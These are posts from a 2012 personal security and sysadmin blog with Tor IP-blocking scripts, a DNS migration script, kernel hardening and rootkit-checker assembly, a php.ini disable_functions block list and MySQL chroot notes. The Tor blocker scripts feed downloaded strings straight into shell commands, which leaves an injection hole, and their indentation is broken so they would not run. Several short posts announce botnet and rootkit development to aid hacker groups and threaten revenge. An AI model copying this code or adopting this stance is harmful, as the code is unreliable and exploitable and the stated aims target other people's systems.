mywisdom blog

simple tor ip collector and blocker 3

2012-03-09T17:19:00.002-08:00

#!/usr/bin/python
#simple tor ip collector and blocker v. 3
#made by:ev1lut10n
import urllib,sys,os,sgmllib

def get_daftar_tor():
   os.system("rm -f Tor_ip_list_ALL.csv;wget http://torstatus.blutmagie.de/ip_list_all.php/Tor_ip_list_ALL.csv")
   file = open("Tor_ip_list_ALL.csv")
   while 1:
       tor_ip = file.readline()
       tor_ip=tor_ip.rstrip()
       cmd="/sbin/iptables -A INPUT -s "+tor_ip+" -j DROP"
       print cmd+" ---> executed"
       os.system(cmd)
       if not tor_ip:
          break

def fetch_from_site_also():
whois="/cgi-bin/whois.pl?ip="
site="http://torstatus.blutmagie.de"
try:
    site_data = urllib.urlopen(site)
    parser = MyParser()
    parser.parse(site_data.read())
except(IOError),msg:
    print "Error in connecting site ", site
    print msg
    sys.exit(1)
links = parser.get_hyperlinks()
for l in links:
        if whois in l:
            ip_of_t0r= l.replace("/cgi-bin/whois.pl?ip=","")
            ip_of_t0r=ip_of_t0r.rstrip()
                print ip_of_t0r
            cmd="/sbin/iptables -A INPUT -s "+ip_of_t0r+" -j DROP"
                        print cmd+" ---> executed"
                        os.system(cmd)


#asit dhal myparser class
class MyParser(sgmllib.SGMLParser):
    "A simple parser class."

    def parse(self, s):
        "Parse the given string 's'."
        self.feed(s)
        self.close()

    def __init__(self, verbose=0):
        "Initialise an object, passing 'verbose' to the superclass."

        sgmllib.SGMLParser.__init__(self, verbose)
        self.hyperlinks = []

    def start_a(self, attributes):
        "Process a hyperlink and its 'attributes'."

        for name, value in attributes:
            if name == "href":
                self.hyperlinks.append(value)
            if name == "src":
                self.hyperlinks.append(value)

    def get_hyperlinks(self):
        "Return the list of hyperlinks."

        return self.hyperlinks

os.system("service iptables start")
get_daftar_tor()
fetch_from_site_also()
os.system("service iptables save")

simple tor ip collector and blocker 2

2012-03-09T17:16:00.001-08:00

#!/usr/bin/python
#simple tor ip collector and blocker v. 2
#made by:ev1lut10n
import urllib,sys,os,sgmllib

def get_daftar_tor():
   os.system("rm -f Tor_ip_list_ALL.csv;wget http://torstatus.blutmagie.de/ip_list_all.php/Tor_ip_list_ALL.csv")
   file = open("Tor_ip_list_ALL.csv")
   while 1:
       tor_ip = file.readline()
       tor_ip=tor_ip.rstrip()
       cmd="/sbin/iptables -A INPUT -s "+tor_ip+" -j DROP"
       print cmd+" ---> executed"
       os.system(cmd)
       if not tor_ip:
          break

def fetch_from_site_also():
whois="/cgi-bin/whois.pl?ip="
site="http://torstatus.blutmagie.de"
try:
    site_data = urllib.urlopen(site)
    parser = MyParser()
    parser.parse(site_data.read())
except(IOError),msg:
    print "Error in connecting site ", site
    print msg
    sys.exit(1)
links = parser.get_hyperlinks()
for l in links:
        if whois in l:
            ip_of_t0r= l.replace("/cgi-bin/whois.pl?ip=","")
            ip_of_t0r=ip_of_t0r.rstrip()
                print ip_of_t0r
            cmd="/sbin/iptables -A INPUT -s "+ip_of_t0r+" -j DROP"
                        print cmd+" ---> executed"
                        os.system(cmd)


#asit dhal myparser class
class MyParser(sgmllib.SGMLParser):
    "A simple parser class."

    def parse(self, s):
        "Parse the given string 's'."
        self.feed(s)
        self.close()

    def __init__(self, verbose=0):
        "Initialise an object, passing 'verbose' to the superclass."

        sgmllib.SGMLParser.__init__(self, verbose)
        self.hyperlinks = []

    def start_a(self, attributes):
        "Process a hyperlink and its 'attributes'."

        for name, value in attributes:
            if name == "href":
                self.hyperlinks.append(value)
            if name == "src":
                self.hyperlinks.append(value)

    def get_hyperlinks(self):
        "Return the list of hyperlinks."

        return self.hyperlinks

get_daftar_tor()
fetch_from_site_also()

tor_server_collector.py

2012-03-09T16:59:00.000-08:00

#!/usr/bin/python
#simple tor ip collector and blocker
#made by:ev1lut10n
import os
def get_daftar_tor():
   os.system("rm -f Tor_ip_list_ALL.csv;wget http://torstatus.blutmagie.de/ip_list_all.php/Tor_ip_list_ALL.csv")
   file = open("Tor_ip_list_ALL.csv")
   while 1:
       tor_ip = file.readline()
       tor_ip=tor_ip.rstrip()
       cmd="/sbin/iptables -A INPUT -s "+tor_ip+" -j DROP"
       print cmd+" ---> executed"
       os.system(cmd)
       if not tor_ip:
          break

os.system("service iptables start")
get_daftar_tor()
os.system("service iptables save")

some skid attacking one of my server using tor exit nodes

2012-03-09T13:45:00.000-08:00

kids game he must pay much later

zedi.pl the lord videl

2012-03-08T18:49:00.003-08:00

#!/usr/bin/perl -W
#zedi.pl the lord videl made by: ev1lut10n

our $direktori_chroot="/home/nginx/";

our $direktori_chroot_named="/var/named/chroot/var/named/";
our $old_ip="old_ip_here";
our $old_ip2="old_ip2_here";
our $new_ip="new_ip_here";

our $old_ns1="old ns 0";
our $old_ns2="old ns 1";

our $old_ns1b="old ns 2";
our $old_ns2b="old ns 3";

our $new_ns1="new_private_ns_here";
our $new_ns2="new private ns here";

our $old_soa_ktk="old email on soa";
our $new_soa_ktk="h4x0r.l33tb0x.org";

our $dir_old_cpanel_environment="/home/mywisdom/users/";

our $direktori_sites_nginx="/home/nginx/usr/local/nginx/sites-enabled/";

sub readall_tgz_and_add_user
{

$direktori_file_tgz="/root/c/";
system("cd $direktori_file_tgz");
open(PROSES_MYSQL, "cd /root/c;ls *.tgz |");
while (<PROSES_MYSQL>)
           {
$file_tgz = $_;
             $nama_user=~ s/^\s+//;
                     $nama_user=~ s/\s+$//;
            $file_tgz=~ s/^\s+//;
                   $file_tgz=~ s/\s+$//;

$nama_user=str_replace(".tgz","",$file_tgz);
$perintah_add_user="adduser -s /usr/sbin/nologin -d /home/".$nama_user." -M ".$nama_user;

          system($perintah_add_user);

$perintah_kopi_tgz="mkdir /home/".$nama_user.";cp ".$file_tgz." /home/".$nama_user.";cd /home/".$nama_user.";tar zxvf ".$file_tgz."";

        system($perintah_kopi_tgz);

$perintah_kopi_ke_chroot="cd ".$direktori_chroot."home/;mkdir ".$nama_user;
$perintah_kopi_ke_chroot.=";cp ".$direktori_file_tgz."/".$file_tgz." ".$direktori_chroot."home/".$nama_user;
$perintah_kopi_ke_chroot.=";cd ".$direktori_chroot."home/$nama_user;tar zxvf ".$file_tgz;

        system($perintah_kopi_ke_chroot);


       }
close(PROSES_MYSQL);
}


sub replace_all_var_chroot_named
{
open(PROSES_MYSQL, "cd /var/named/chroot/var/named/;ls *.db |");
while (<PROSES_MYSQL>)
           {
             $file_named = $_;
                $file_named=~ s/^\s+//;
                     $file_named=~ s/\s+$//;

            $perintah_rep_ip="perl -p -i -e 's/$old_ip/$new_ip/' /var/named/chroot/var/named/".$file_named;


            system($perintah_rep_ip);
            print "\n";

            $perintah_rep_ip2="perl -p -i -e 's/$old_ip2/$new_ip/' /var/named/chroot/var/named/".$file_named;


            system($perintah_rep_ip2);
            print "\n";

            $perintah_rep_ns1="perl -p -i -e 's/$old_ns1/$new_ns1/' /var/named/chroot/var/named/".$file_named;



            system($perintah_rep_ns1);

            print "\n";

            $perintah_rep_ns2="perl -p -i -e 's/$old_ns2/$new_ns2/' /var/named/chroot/var/named/".$file_named;


            system($perintah_rep_ns2);
                        print "\n";








            $perintah_rep_ns1b="perl -p -i -e 's/$old_ns1b/$new_ns1/' /var/named/chroot/var/named/".$file_named;

            system($perintah_rep_ns1b);
            print "\n";

            $perintah_rep_ns2b="perl -p -i -e 's/$old_ns2b/$new_ns2/' /var/named/chroot/var/named/".$file_named;

            system($perintah_rep_ns2b);


                        print "\n";



            $perintah_soa_ktk="perl -p -i -e 's/$old_soa_ktk/$new_soa_ktk/' /var/named/chroot/var/named/".$file_named;


            system($perintah_soa_ktk);
            print "\n";



       }
close(PROSES_MYSQL);

}

sub str_replace {
eval
{
my $replace_this = shift;
    my $with_this = shift;
    my $string   = shift;

    my $length = length($string);
    my $target = length($replace_this);

    for(my $i=0; $i<$length - $target + 1; $i++) {
        if(substr($string,$i,$target) eq $replace_this) {
            $string = substr($string,0,$i) . $with_this . substr($string,$i+$target);
            return $string; #Comment this if you what a global replace
        }
    }
    return $string;
}
}

replace_all_var_chroot_named();
readall_tgz_and_add_user();

reducing the tcp time wait & recycling trick

2012-03-06T20:38:00.000-08:00

recycle trick:

============
[root@ns1 ~]# /sbin/sysctl -w net.ipv4.tcp_tw_recycle=1
net.ipv4.tcp_tw_recycle = 1
[root@ns1 ~]# /sbin/sysctl -w net.ipv4.tcp_tw_reuse=1
==============

reducing fin wait

===================
[root@ns1 ~]# echo "5" > /proc/sys/net/ipv4/tcp_fin_timeout
=======================

Securing a Server from the Basic : Non Executable /tmp

2012-03-06T19:17:00.000-08:00

by: ev1lut10n

====================
[root@ns1 tmp]# pwd
/tmp
[root@ns1 tmp]# cat system.c
#include
int main()
{
execve("/bin/sh",0,0);

}
[root@ns1 tmp]# gcc -o system system.c
[root@ns1 tmp]# ./system
bash: ./system: Permission denied
[root@ns1 tmp]# cp system /root
[root@ns1 tmp]# cd /root
[root@ns1 ~]# ./system
[root@ns1 root]# exit
exit
=======================

from the above figure we may see that the /tmp on server is non executable.

check it out:

=============

[root@ns1 tmp]# strace ./system
execve("./system", ["./system"], [/* 22 vars */]) = -1 EACCES (Permission denied)
dup(2) = 3
fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE)
fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 5), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2b574f71b000
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
write(3, "strace: exec: Permission denied\n", 32strace: exec: Permission denied
) = 32
close(3) = 0
munmap(0x2b574f71b000, 4096) = 0
exit_group(1) = ?
[root@ns1 tmp]#
==============

from the above strace output we may notice the first line we calle execve("./system")
where and the result we got -1 EACCES (Permission denied)

Basic php.ini Security Setting

2012-03-06T11:16:00.002-08:00

disable_functions:
==================
[root@ns1 lib]# cat php.ini | grep disable_function
disable_functions = show_source, system, passthru, exec, popen, proc_open, allow_url_fopen, popen, symlink,curl_exec, curl_multi_exec, parse_ini_file, sleep, base64_decode,fsockopen,getopt,ibase_gen_id,glob,unserialize,pcntl_fork,socket_create,socket_connect,_zip_name_locate,grapheme_extract,bcpow,pdf_open_file,ntuser_getuserlist,posix_getpwuid,php_uname

==================

===================
[root@ns1 lib]# cat php.ini | grep safe_mode
safe_mode = On
; then turn on safe_mode_gid.
safe_mode_gid = Off
===================

herosvh.asm TCP/IP Stack Hardening and Basic Rootkit Checker | dedicated for my friend

2012-03-06T07:18:00.002-08:00

source code:
http://pastebin.com/5ycUughs

herosvh.asm:
========================================
;herosvh.asm - herosvh TCP/IP Stack Hardening and Basic Rootkit Checker ;version 1.0
;The programmer : ev1lut10n
;gopher://sdf.org/0/users/wisdomc0/code_asm/herosvh.asm
;dedicated to Mr Hero svh Rootkit
;thanks to : Hero SVH Rootkit,X-hack,Danzel,Superman,Cakill, nofia fitri,Dedy, Chaer, Paulus gandung,Tian,Zendy,Hendra, Wenkhairu and all my bro and ;friends
;current big project : "Making a linux botnet and windows botnet that can work synergy (my own idea)"
;website : http://www.jasaplus.com
;gopher://sdf.org/1/users/wisdomc0
;nasm -f elf herosvh.asm
;ld -o herosvh herosvh.o

section .bss

pilih_on_heap resb 6

file: resd 1

section .data

t00lname db ".::Herosvh TCP/IP Stack Hardening and Basic Rootkit Checker::.",13,10

pjg_t00lname equ $-t00lname

c0d3r db "c0der : ev1lut10n",13,10

pjg_c0d3r equ $-c0d3r

g0tr00t db "we got root access",13,10

pjg_g0tr00t equ $-g0tr00t

n0tr00t db "we dont have root priv,sorry y0u can not use this t00l baby",13,10

pjg_n0tr00t equ $-n0tr00t

;define jynx rootkit checker

jynx_ld_preload_poison_string db "ld_poison.so",0x00

jynx_ld_preload_so_path db "/etc/ld.so.preload",0x00

;define haxpath checker for kbeast lkm

_H4X_PATH_ db "/usr/_h4x_",0x00

;software menu

m3nu1 db "sys1 - Enable source validation by reversed path (checkin the source addr at ip datagram)",13,10

pjg_m3nu1 equ $-m3nu1

m3nu2 db "sys2 - Enable TCP Syn Cookies (protection against syn attack)",13,10

pjg_m3nu2 equ $-m3nu2

m3nu3 db "sys3 - Ignore ICMP Echo Broadcast Requests - (no smurf amplification)!!!",13,10

pjg_m3nu3 equ $-m3nu3

b0nus db "Some bonuses functions :"

pjg_b0nus equ $-b0nus

m3nu5 db "rkc1 - Checking Possible Jynx LD_Preload Rootkit",13,10

pjg_m3nu5 equ $-m3nu5

m3nu6 db "rkc2 - Checking Possible Kernel Beast Ver #1.0 LKM Rootkit -> _H4X_PATH_ /usr/_h4x_",13,10

pjg_m3nu6 equ $-m3nu6

m3nu7 db "quit - quit this t00l",13,10

pjg_m3nu7 equ $-m3nu7

;eof software menu

c0ns0l3 db "cmd:"

pjg_c0ns0l3 equ $-c0ns0l3

pilih db "%s", 0

teks_continue db "/etc/ld.so.preload found beware ! Sorry i'm lazy it's your job to check for ld_poison.so at /etc/ld.so.preload",13,10

pjg_teks_continue equ $-teks_continue

teks_dont_continue db "No /etc/ld.so.preload found ! Seems like your system is clean from jynx rootkit",13,10

pjg_teks_dont_continue equ $-teks_dont_continue

teks_continuex db "/usr/_h4x_ found ! Please wait !!! You're being infected with Kernel Beast Ver #1.0, why u install kernel headers ???",13,10

pjg_teks_continuex equ $-teks_continuex

teks_dont_continuex db "No /usr/_h4x_ found ! Seems like your system is clean from Kernel Beast Ver #1.0",13,10

pjg_teks_dont_continuex equ $-teks_dont_continuex

section .text

global _start

_start:

;jmp _herosvh_sysc

jmp long _herosvh_start

;starting jynx rootkit checking routine

_herosvh_jynx:

push ebp

mov ebp,esp



   xor eax,eax

   xor ebx,ebx

   xor ecx,ecx

   xor edx,edx



call the_cek

mov ebx,jynx_ld_preload_so_path

int 0x80

mov dword [file],eax

cmp dword [file],0

jle dont_continue

je continue

mov esp,ebp

pop ebp

continue:

push ebp

mov ebp,esp



mov ecx,teks_continue

mov edx,pjg_teks_continue

call _herosvh_writeln

jmp long _herosvh_out

mov esp,ebp

pop ebp

dont_continue:

push ebp

mov ebp,esp

mov ecx,teks_dont_continue

mov edx,pjg_teks_dont_continue

call _herosvh_writeln

jmp long _herosvh_out

mov esp,ebp

pop ebp

the_cek:

push ebp

mov ebp,esp

mov eax,5

xor ecx,0

mov edx,0x100

mov esp,ebp

pop ebp

ret

;eof jynx rootkit checking

;start ipsecs kbeast checking

_herosvh_ipsecs:

push ebp

mov ebp,esp

   xor eax,eax

   xor ebx,ebx

   xor ecx,ecx

   xor edx,edx

call the_cek2

mov ebx,_H4X_PATH_

int 0x80

mov dword [file],eax

cmp dword [file],0

jle dont_continuex

je continuex

mov esp,ebp

pop ebp

continuex:

push ebp

mov ebp,esp

mov ecx,teks_continuex

mov edx,pjg_teks_continuex

call _herosvh_writeln

jmp long _herosvh_out

mov esp,ebp

pop ebp

dont_continuex:

push ebp

mov ebp,esp

mov ecx,teks_dont_continuex

mov edx,pjg_teks_dont_continuex

call _herosvh_writeln

jmp long _herosvh_out

mov esp,ebp

pop ebp

the_cek2:

push ebp

mov ebp,esp

mov eax,5

xor ecx,0

mov edx,0x100

mov esp,ebp

pop ebp

ret

;eof ipsecs kbeast checking

;getpriv.s

_herosvh_pr3p4r3_0pt:

    push ebx

        push esi

        push edi



_herosvh_get_privilege:

   push ebp

        mov ebp, esp

   mov eax, 18h

   push eax

        int 80h



   cmp al,0

   jz _herosvh_g0tr00t

   jmp _herosvh_n0tr00t

   mov esp, ebp

        pop ebp



;eof getpriv.s

_herosvh_g0tr00t:

   push ebp

        mov ebp, esp

   mov ecx,g0tr00t

   mov edx,pjg_g0tr00t

   call _herosvh_writeln

   mov esp, ebp

        pop ebp

   jmp _herosvh_jmpmania



_herosvh_n0tr00t:

   push ebp

   mov ebp,esp

   mov ecx,n0tr00t

   mov edx,pjg_n0tr00t

   call _herosvh_writeln

   mov esp,ebp

   pop ebp

   jmp _herosvh_out

_herosvh_writeln:

      push ebp

      mov ebp,esp

      mov ebx,0x1

      mov eax,0x4

      int 80h

   ;mov ah,09h

   ;mov dx,offset str1ng

   ;int 21h

       mov esp,ebp

       pop ebp

      ret

_herosvh_banner:

push ebp

mov ebp,esp

mov ecx,t00lname

mov edx,pjg_t00lname

call _herosvh_writeln

mov ecx,c0d3r

mov edx,pjg_c0d3r

call _herosvh_writeln

mov esp,ebp

pop ebp

ret

_herosvh_do:

   mov eax, 11

   int 80h

   ret

_herosvh_net.ipv4.icmp_echo_ignore_broadcasts_1:

   push ebp

        mov ebp, esp



   xor eax,eax

   xor ebx,ebx

   xor ecx,ecx

   xor edx,edx



   push   0xb

   pop    eax

   push   edx



   push 0x313d       ;=1

   push 0x73747361           ;stsa

   push 0x6364616f           ;cdao

   push 0x72625f65           ;rb_e

   push 0x726f6e67           ;rong

   push 0x695f6f68           ;i_oh

   push 0x63655f70           ;ce_p

   push 0x6d63692e           ;mci.

   push 0x34767069       ;4vpi

   push 0x2e74656e    ; .ten



   mov    esi,esp

   push   edx



   push   0x772d ;w-

   mov    ecx,esp

   push   edx

   push 0x6c746373

   push 0x79732f6e

   push 0x6962732f

   mov    ebx,esp

   push   edx

   push   esi

   push   ecx

   push   ebx

   mov    ecx,esp

   int    80h







   mov esp,ebp

   pop ebp

   jmp long _herosvh_out

_herosvh_net.ipv4.tcp_syncookies_1:

   push ebp

        mov ebp, esp



   xor eax,eax

   xor ebx,ebx

   xor ecx,ecx

   xor edx,edx



   push   0xb

   pop    eax

   push   edx



   push 0x2031       ;1

   push 0x3d736569       ;=sei

   push 0x6b6f6f63       ;kooc

   push 0x6e79735f       ;nys_

   push 0x7063742e       ;pct.

   push 0x34767069       ;4vpi

   push 0x2e74656e    ; .ten



   mov    esi,esp

   push   edx



   push   0x772d ;w-

   mov    ecx,esp

   push   edx

   push 0x6c746373

   push 0x79732f6e

   push 0x6962732f

   mov    ebx,esp

   push   edx

   push   esi

   push   ecx

   push   ebx

   mov    ecx,esp

   int    80h



   xor eax,eax

   xor ebx,ebx

   xor ecx,ecx

   xor edx,edx



   mov esp,ebp

   pop ebp

   jmp long _herosvh_out

_herosvh_sysctl_w_net.ipv4.conf.all.rp_filter_1:

   push ebp

        mov ebp, esp



   xor eax,eax

   xor ebx,ebx

   xor ecx,ecx

   xor edx,edx



   push   0xb

   pop    eax

   push   edx



   push 0x2031       ;1

   push 0x3d726574       ;=ret

   push 0x6c69665f       ;lif_

   push 0x70722e6c       ;pr.l

   push 0x6c612e66       ;la.f

   push 0x6e6f632e       ;noc.

   push 0x34767069       ;4vpi

   push 0x2e74656e    ; .ten





   mov    esi,esp

   push   edx



   push   0x772d ;w-

   mov    ecx,esp

   push   edx

   push 0x6c746373

   push 0x79732f6e

   push 0x6962732f

   mov    ebx,esp

   push   edx

   push   esi

   push   ecx

   push   ebx

   mov    ecx,esp

   int    80h



   xor eax,eax

   xor ebx,ebx

   xor ecx,ecx

   xor edx,edx

   mov esp,ebp

   pop ebp

   jmp long _herosvh_out



_herosvh_jmpmania:

   push ebp

        mov ebp, esp

   jmp _herosvh_start2

   mov esp,ebp

   pop ebp

_herosvh_start:

push ebp

mov ebp,esp

call (_herosvh_banner)

jmp _herosvh_pr3p4r3_0pt

mov esp,ebp

pop ebp

_herosvh_start2:

   push ebp

        mov ebp, esp





   mov ecx,m3nu1

   mov edx,pjg_m3nu1

   call (_herosvh_writeln)



   mov ecx,m3nu2

   mov edx,pjg_m3nu2

   call (_herosvh_writeln)



   mov ecx,m3nu3

   mov edx,pjg_m3nu3

   call (_herosvh_writeln)







   mov ecx,m3nu5

   mov edx,pjg_m3nu5

   call (_herosvh_writeln)



   mov ecx,m3nu6

   mov edx,pjg_m3nu6

   call (_herosvh_writeln)







   mov ecx,c0ns0l3

   mov edx,pjg_c0ns0l3

   call (_herosvh_writeln)



   mov eax,3

   mov ebx,0

   mov ecx,pilih_on_heap

   int    80h

   push eax



   xor eax,eax

   mov eax, dword [pilih_on_heap]



   cmp eax,'sys1'

   je _herosvh_sysctl_w_net.ipv4.conf.all.rp_filter_1



   cmp eax,'sys2'

   je _herosvh_net.ipv4.tcp_syncookies_1



   cmp eax,'sys3'

   je _herosvh_net.ipv4.icmp_echo_ignore_broadcasts_1



   cmp eax,'rkc1'

   je _herosvh_jynx

   cmp eax,'rkc2'

   je _herosvh_ipsecs



   jmp _herosvh_out

   mov esp,ebp

   pop ebp

_herosvh_out:

nop

mov eax,0x01

int 80h

chrooting nginx

2012-03-05T20:01:00.000-08:00

chrooting bind

2012-03-05T19:44:00.002-08:00

botnet development continue

2012-03-05T13:06:00.005-08:00

this isnt as simple as they think, off course we've kernel space code also (i intent to use inline assembly), 70% written in perl for portability between nix, 10 % written using c , 10% written using python , 10 - 15 % written in assembly and php, this isnt as simple as they think.planned to work on most nix including bsd (available also lkm rootkit included for linux and bsd) , development mission: support project mayhem, anti-sec, lulzsec and anonymous by providing a very good framework

Preparing New Dedicated Server

2012-03-04T10:55:00.000-08:00

well some skiddie messing around with some of my servers, they successfully made me postpone my botnet development, unfortunetly it's just temporary since i can make a stronger system

instalasi mysql di dalam chroot jail

2012-03-04T09:41:00.000-08:00

by: ev1lut10n

ekstrak mysql-5.156 lalu configure:

=============
[root@godad mysql-5.1.56]# ./configure --prefix=/usr/local/mysql --with-mysqld-user=mysql --with-unix-socket-path=/tmp/mysql.sock --with-mysqld-ldflags=-all-static
[root@godad mysql-5.1.56]# make && make install
==============

siapkan my.cnf di /etc
==========
[root@godad mysql-5.1.56]# locate my-small.cnf
/etc/my-small.cnf
/root/mysql-5.1.56/support-files/my-small.cnf
/root/mysql-5.1.56/support-files/my-small.cnf.sh
/usr/local/mysql/share/mysql/my-small.cnf
/usr/local/share/mysql/my-small.cnf
/usr/share/doc/mysql-server-5.0.77/my-small.cnf
/usr/share/mysql/my-small.cnf
[root@godad mysql-5.1.56]# cp /root/mysql-5.1.56/support-files/my-small.cnf /etc/my.cnf
[root@godad ~]# chown root:root /etc/my.cnf
[root@godad ~]# chmod 644 /etc/my.cnf
=============

edit my.cnf di bawah [mysqld] tambahkan line :
===
[mysqld]
user = mysql
====

lalu hapus line2 ini:
====
table_open_cache=4
=====

====
buffer_size=64K
====

Selanjutnya install database mysql:
====
[root@godad mysql-5.1.56]# /usr/local/mysql/bin/mysql_install_db --user=mysql
Installing MySQL system tables...
120304 1:53:10 [Warning] '--skip-locking' is deprecated and will be removed in a future release. Please use '--skip-external-locking' instead.
OK
Filling help tables...
120304 1:53:10 [Warning] '--skip-locking' is deprecated and will be removed in a future release. Please use '--skip-external-locking' instead.
OK

To start mysqld at boot time you have to copy
support-files/mysql.server to the right place for your system

PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !
To do so, start the server, then issue the following commands:

/usr/local/bin/mysqladmin -u root password 'new-password'
/usr/local/bin/mysqladmin -u root -h localhost password 'new-password'

Alternatively you can run:
/usr/local/bin/mysql_secure_installation

which will also give you the option of removing the test
databases and anonymous user created by default. This is
strongly recommended for production servers.

See the manual for more instructions.

You can start the MySQL daemon with:
cd /usr/local ; /usr/local/bin/mysqld_safe &

You can test the MySQL daemon with mysql-test-run.pl
cd /usr/local/mysql-test ; perl mysql-test-run.pl

Please report any problems with the /usr/local/bin/mysqlbug script!

========

untuk menginstall mysql di dalam chroot matikan daemon mysql:
=====
[root@godad mysql-5.1.56]# /usr/local/mysql/bin/mysqladmin -u root shutdown

=====

[Chrooting mysql]

persiapkan struktur direktori untuk chroot mysql di /chroot/mysql:
====
[root@godad mysql-5.1.56]# mkdir -p /chroot/mysql/dev /chroot/mysql/etc /chroot/mysql/tmp /chroot/mysql/var/tmp /chroot/mysql/usr/local/mysql/libexec /chroot/mysql/usr/local/mysql/share/mysql/english
========

lalu kopikan file2 yang diperlukan ke direktori chroot:
===========
[root@godad mysql-5.1.56]# chown -R root:sys /chroot/mysql
[root@godad mysql-5.1.56]# chmod -R 755 /chroot/mysql
[root@godad mysql-5.1.56]# chmod 1777 /chroot/mysql/tmp
[root@godad mysql-5.1.56]# cp /etc/hosts /chroot/mysql/etc/
[root@godad mysql-5.1.56]# cp /etc/host.conf /chroot/mysql/etc/
[root@godad mysql-5.1.56]# cp /etc/resolv.conf /chroot/mysql/etc/
[root@godad mysql-5.1.56]# cp /etc/group /chroot/mysql/etc/
[root@godad mysql-5.1.56]# cd /usr/local;tar czvf mysql.tgz mysql
[root@godad mysql-5.1.56]# cp mysql.tgz /chroot/mysql/usr/local
[root@godad mysql-5.1.56]# cd /chroot/mysql/usr/local
[root@godad local]# tar zxvf mysql.tgz
[root@godad local]# mknod /chroot/mysql/dev/null c 2 2
[root@godad local]# chown root:sys /chroot/mysql/dev/null
[root@godad local]# chmod 666 /chroot/mysql/dev/null
====

selanjutnya edit shell dan home direktori mysql :
=========
[root@godad local]# cat /etc/passwd | grep mysql
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
[root@godad local]# nano /etc/passwd
[root@godad local]# cat /etc/passwd | grep mysql
mysql:x:27:27:MySQL Server:/dev/null:/bin/false
[root@godad local]# cp /etc/passwd /chroot/mysql/etc
[root@godad local]# cp /etc/passwd /chroot/mysql/etc/passwords
[root@godad local]# cp /etc/passwd /chroot/mysql/etc/passwd.bak
[root@godad local]# cp /etc/passwd /chroot/mysql/etc/~passwd
[root@godad local]# ln /chroot/mysql/tmp/mysql.sock /chroot/nginx/tmp
=========

siapakan init skrip:
===
[root@godad init.d]# nano mysqld_chroot
[root@godad init.d]# chmod +s mysqld_chroot
=====

install chrootuid:
====
[root@godad ~]# wget   ftp://ftp.porcupine.org/pub/security/chrootuid1.3.tar.gz
--2012-03-04 02:30:16-- ftp://ftp.porcupine.org/pub/security/chrootuid1.3.tar.gz
           => `chrootuid1.3.tar.gz'
Resolving ftp.porcupine.org... 168.100.185.123
Connecting to ftp.porcupine.org|168.100.185.123|:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done. ==> CWD /pub/security ... done.
==> SIZE chrootuid1.3.tar.gz ... 5439
==> PASV ... done.    ==> RETR chrootuid1.3.tar.gz ... done.
Length: 5439 (5.3K)

100%[==================================================================================================================>] 5,439       --.-K/s   in 0.08s

2012-03-04 02:30:18 (66.9 KB/s) - `chrootuid1.3.tar.gz' saved [5439]
[root@godad ~]# tar zxvf chrootuid1.3.tar.gz
chrootuid1.3/
chrootuid1.3/README
chrootuid1.3/chrootuid.c
chrootuid1.3/chrootuid_license
chrootuid1.3/chrootuid.1
chrootuid1.3/Makefile
[root@godad ~]# cd chrootuid1.3
[root@godad chrootuid1.3]# ls -a
. .. chrootuid.1 chrootuid.c chrootuid_license Makefile README
[root@godad chrootuid1.3]# cat chrootuid.1
.TH CHROOTUID 1
.ad
.fi
.SH NAME
chrootuid
\-
run command in restricted environment
.SH SYNOPSIS
.na
.nf
\fBchrootuid\fR \fInewroot newuser command\fR...
.SH DESCRIPTION
.ad
.fi
The \fBchrootuid\fR command sets up a restricted environment for
executing \fIcommand\fR. Access to the file system is restricted to
the \fInewroot\fR subtree; privileges are restricted to those of
the \fInewuser\fR account (which must be a known account in the
unrestricted environment).
The initial working directory is changed to \fInewroot\fR.

\fBchrootuid\fR combines chroot(8) and su(1) into one program, so
that there is no need to have commands such as /usr/bin/su
in the restricted environment.

Only the superuser can use the \fBchrootuid\fR command.
.SH DIAGNOSTICS
.ad
.fi
The exit status is 1 when \fBchrootuid\fR has a problem, otherwise
the exit status is the exit status of \fIcommand\fR.
.SH SEE ALSO
.na
.nf
chroot(8), su(1)
.SH DIAGNOSTICS
.ad
.fi
Problems are reported to the syslog daemon.
.SH AUTHOR(S)
.na
.nf
Wietse Venema
Eindhoven University of Technology
Department of Mathematics and Computer Science
Den Dolech 2, P.O. Box 513, 5600 MB Eindhoven, The Netherlands

IBM T.J. Watson Research
P.O. Box 704
Yorktown Heights, NY 10598, USA
.SH CREATION DATE
.na
.nf
Tue Oct 13 11:37:29 MET 1992
.SH LAST MODIFICATION
.na
.nf
Wed Jul 25 11:25:08 EDT 2001
.SH VERSION/RELEASE
.na
.nf
1.3
[root@godad chrootuid1.3]# cat chrootuid.c
/*++
/* NAME
/*    chrootuid 1
/* SUMMARY
/*    run command in restricted environment
/* SYNOPSIS
/*    \fBchrootuid\fR \fInewroot newuser command\fR...
/* DESCRIPTION
/*    The \fBchrootuid\fR command sets up a restricted environment for
/*    executing \fIcommand\fR. Access to the file system is restricted to
/*    the \fInewroot\fR subtree; privileges are restricted to those of
/*    the \fInewuser\fR account (which must be a known account in the
/*    unrestricted environment).
/*    The initial working directory is changed to \fInewroot\fR.
/*
/*    \fBchrootuid\fR combines chroot(8) and su(1) into one program, so
/*    that there is no need to have commands such as /usr/bin/su
/*    in the restricted environment.
/*
/*    Only the superuser can use the \fBchrootuid\fR command.
/* DIAGNOSTICS
/*    The exit status is 1 when \fBchrootuid\fR has a problem, otherwise
/*    the exit status is the exit status of \fIcommand\fR.
/* SEE ALSO
/*    chroot(8), su(1)
/* DIAGNOSTICS
/*    Problems are reported to the syslog daemon.
/* AUTHOR(S)
/*    Wietse Venema
/*    Eindhoven University of Technology
/*    Department of Mathematics and Computer Science
/*    Den Dolech 2, P.O. Box 513, 5600 MB Eindhoven, The Netherlands
/*
/*    IBM T.J. Watson Research
/*    P.O. Box 704
/*    Yorktown Heights, NY 10598, USA
/* CREATION DATE
/*    Tue Oct 13 11:37:29 MET 1992
/* LAST MODIFICATION
/*    Wed Jul 25 11:25:08 EDT 2001
/* VERSION/RELEASE
/*    1.3
/*--*/

#ifndef lint
static char sccsid[] = "@(#) chrootuid.c 1.3 2001/07/25 11:25:08";
#endif

/* System libraries. */

#include <unistd.h>
